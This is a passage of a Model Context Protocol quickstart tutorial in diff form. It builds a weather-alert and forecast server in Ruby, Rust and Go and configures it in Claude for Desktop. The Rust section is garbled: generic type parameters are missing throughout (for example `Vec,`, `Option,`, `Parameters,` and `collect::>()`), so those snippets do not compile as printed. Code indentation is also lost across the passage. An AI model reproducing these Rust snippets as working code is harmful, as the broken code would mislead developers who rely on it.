+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
